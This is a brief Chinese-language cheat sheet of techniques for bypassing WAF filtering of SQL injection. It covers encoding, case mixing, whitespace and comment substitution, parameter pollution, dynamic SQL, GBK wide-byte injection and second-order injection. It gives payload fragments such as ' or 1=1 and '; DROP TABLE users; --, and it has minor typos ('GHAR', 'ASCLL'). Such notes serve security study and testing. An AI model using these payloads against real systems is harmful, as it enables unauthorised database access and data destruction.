1.注釋與空白符繞過
利用#,--,/**/替代被過濾的注釋符
利用%09(Tab),%0A(換行) ,/**/代替空格:如union%0Aselect%0A1,2,3
2.編碼繞過:
URL編碼,雙重編碼,十六進制編碼,Unicode編碼,
3.大小寫混淆:
sEleCT代替select,UnIon代替union
4.字符串拼接與函數
GHAR()函數:' or 1=1——> ' or char(49)=char(49) //CHAR(n),其中n是一個整數,表示ASCLL碼值
CONCAT函數 :select ——> CONCAT('s','elect')
十六進制字符串:admin——> 0x61646D696E
5.內聯注釋(MYSQL特有):
MySQL 的內聯注釋通常以 /*
開始,以 */
結束。它可以在 SQL 語句的任何位置使用
6.繞過空格過濾
代替字符:%09(Tab),%0A(換行),%0C(換頁)
括號繞過:union(select(1),2,3)
7.分塊傳輸與參數污染
分塊編碼:將請求分塊發送,繞過WAF檢測
參數污染:提交多個同名函數(如?id=1&id=union select 1),應用程序可能取第一個,而WAF取第二個
8.動態執行與存儲過程
EXEC命令(SQL Server):EXEC('select * from users')
prepare語句(MySql):
SET @sql = CONCAT('SEL','ECT 1');
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;
9.寬字節注入(GBK編碼)
在GBK編碼中,以下字節序列可以被利用:
%df(0xDF),%bf(0xBF),%27(0x27,即單引號)
實例:假設過濾器只檢查單個字節,過濾掉單引號 '
和反斜杠 \
。由于 0xBF
和 0x27
組合在一起是一個合法的多字節字符,過濾器可能無法檢測到單引號 ',(單獨的’不合法,與%bf組合在一起就合法了)
10,二次注入
第一次注入將惡意代碼插入到數據庫中,'; DROP TABLE users; --